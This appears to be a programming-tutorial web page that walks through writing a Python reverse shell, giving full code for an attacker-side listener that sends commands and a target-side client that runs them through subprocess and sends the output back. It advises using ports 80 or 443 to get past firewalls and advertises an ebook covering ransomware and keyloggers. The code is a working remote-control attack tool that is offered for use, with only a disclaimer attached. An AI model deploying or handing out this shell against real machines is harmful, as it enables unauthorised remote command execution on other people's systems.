Unlock the secrets of your code with ourAI-powered Code Explainer. Take a look!
There are many ways to gain control over a compromised system. A common practice is to gain interactive shell access, which enables you to try to gain complete control of the operating system. However, most basic firewalls block direct remote connections. One of the methods to bypass this is to use reverse shells.
A reverse shell is a program that executes localcmd.exe (for Windows) orbash/zsh (for Unix-like) commands and sends the output to a remote machine. With a reverse shell, the target machine initiates the connection to the attacker machine, and the attacker's machine listens for incoming connections on a specified port; this will bypass firewalls.
The basic idea of the code we will implement is that the attacker's machine will keep listening for connections. Once a client (or target machine) connects, the server will send shell commands to the target machine and expect output results.
Related: How to Use Hash Algorithms in Python using hashlib.
First, let's start with the server (attacker's code):
import socketSERVER_HOST = "0.0.0.0"SERVER_PORT = 5003BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, feel free to increase# separator string for sending 2 messages in one goSEPARATOR = "<sep>"# create a socket objects = socket.socket()
Notice that I've used0.0.0.0
as the server IP address, this means all IPv4 addresses on the local machine. You may wonder why we don't just use our local IP address orlocalhost
or127.0.0.1
? Well, if the server has two IP addresses, let's say192.168.1.101
on a network, and10.0.1.1
on another, and the server listens on0.0.0.0
, then it will be reachable at both of those IPs.
We then specified some variables and initiated the TCP socket. Notice I used5003
as theTCP port, feel free to choose any port above1024; just make sure it's not used, and you should use it on both sides (i.e., server and client).
However, malicious reverse shells usually use the popular port80 (i.eHTTP
) or443 (i.eHTTPS
), this will allow it to bypass firewall restrictions of the target client, feel free to change it and try it out!
Now let's bind that socket we just created to our IP address and port:
# bind the socket to all IP addresses of this hosts.bind((SERVER_HOST, SERVER_PORT))
Related: Build 35+ Ethical Hacking Scripts & Tools with Python EBook
Listening for connections:
s.listen(5)print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")
If any client attempts to connect to the server, we need to accept it:
# accept any connections attemptedclient_socket, client_address = s.accept()print(f"{client_address[0]}:{client_address[1]} Connected!")
accept() function waits for an incoming connection and returns a new socket representing the connection (client_socket), and the address (IP and port) of the client.
Now below code will be executed only if a user is connected to the server; let us receive a message from the client that contains the current working directory of the client:
# receiving the current working directory of the clientcwd = client_socket.recv(BUFFER_SIZE).decode()print("[+] Current working directory:", cwd)
Note that we need to encode the message to bytes before sending, and we must send the message using theclient_socket
and not the server socket.
Now let's start our main loop, which is sending shell commands and retrieving the results, and printing them:
while True: # get the command from prompt command = input(f"{cwd} $> ") if not command.strip(): # empty command continue # send the command to the client client_socket.send(command.encode()) if command.lower() == "exit": # if the command is exit, just break out of the loop break # retrieve command results output = client_socket.recv(BUFFER_SIZE).decode() # split command output and current directory results, cwd = output.split(SEPARATOR) # print output print(results)
In the above code, we're prompting the server user (i.e., attacker) of the command he wants to execute on the client; we send that command to the client and expect the command's output to print it to the console.
Note that we're splitting the output into command results and the current working directory. That's because the client will be sending both of these messages in a single send operation.
If the command is"exit", just exit out of the loop and close the connections.
Related:How to Make a Chat Application in Python.
Let's see the code of the client now, open up a new file and write:
import socketimport osimport subprocessimport sysSERVER_HOST = sys.argv[1]SERVER_PORT = 5003BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, feel free to increase# separator string for sending 2 messages in one goSEPARATOR = "<sep>"
Above, we're setting theSERVER_HOST
to be passed from the command line arguments, this is the IP or host of the server machine. If you're on a local network, then you should know the private IP of the server by using the commandipconfig
on Windows andifconfig
on Linux.
Note that if you're testing both codes on the same machine, you can set theSERVER_HOST
to127.0.0.1
and it will work just fine.
Let's create the socket and connect to the server:
# create the socket objects = socket.socket()# connect to the servers.connect((SERVER_HOST, SERVER_PORT))
Remember, the server expects the current working directory of the client just after connection. Let's send it then:
# get the current directorycwd = os.getcwd()s.send(cwd.encode())
We used thegetcwd()
function fromos
module, this function returns the current working directory. For instance, if you execute this code in the Desktop, it'll return the absolute path of the Desktop.
Going to the main loop, we first receive the command from the server, execute it and send the result back. Here is the code for that:
while True: # receive the command from the server command = s.recv(BUFFER_SIZE).decode() splited_command = command.split() if command.lower() == "exit": # if the command is exit, just break out of the loop break if splited_command[0].lower() == "cd": # cd command, change directory try: os.chdir(' '.join(splited_command[1:])) except FileNotFoundError as e: # if there is an error, set as the output output = str(e) else: # if operation is successful, empty message output = "" else: # execute the command and retrieve the results output = subprocess.getoutput(command) # get the current working directory as output cwd = os.getcwd() # send the results back to the server message = f"{output}{SEPARATOR}{cwd}" s.send(message.encode())# close client connections.close()
First, we receive the command from the server usingrecv()
method on the socket object, we then check if it's acd
command, if that's the case, then we use theos.chdir()
function to change the directory, that's becausesubprocess.getoutput()
spawns its own process and does not change the directory on the current Python process.
After that, if it's not acd
command, then we simply usesubprocess.getoutput()
function to get the output of the command executed.
Finally, we prepare our message that contains the command output and working directory and then send it.
GET -10% OFF: Build 35+ Ethical Hacking Scripts & Tools with Python EBook.
Okay, we're done writing the code for both sides. Let's run them. First, you need to run the server to listen on that port and then run the client after that.
Below is a screenshot of when I started the server and instantiated a new client connection, and then ran a demodir
command:
And this was my run command on the client-side:
Incredible, isn't it? You can execute any shell command available in that operating system.
Note that I used127.0.0.1
to run both sides on the same machine, but you can do it remotely on a local network or the Internet.
Here are some ideas to extend that code:
threading
module to enable the server to accept multiple client connections simultaneously.In ourEthical Hacking with Python EBook, we have built an advanced reverse shell that has all of the features mentioned above; it can capture the target machine's screen and microphone, download and upload any file, and many more features. We also made other malware, such asransomware andkeyloggers. Make sure youcheck it out here if you're interested!
Also, there is a utility in Linux callednetcat
where you can build reverse shells. Checkthis tutorial which helps youset up reverse shells in Linux.
To conclude, a reverse shell isn't generally meant to be malicious code. We can use it for legitimate purposes; for example, you can use this to manage your machines remotely.
DISCLAIMER: We are not responsible for any misuse of the code provided in this tutorial. Use it on your own responsibility.
Learn also:How to Transfer Files in the Network using Sockets in Python.
Happy Coding ♥
Loved the article? You'll love ourCode Converter even more! It's your secret weapon for effortless coding. Give it a whirl!
View Full Code Switch My FrameworkGot a coding query or need some guidance before you comment? Check out thisPython Code Assistant for expert advice and handy tips. It's like having a coding tutor right in your fingertips!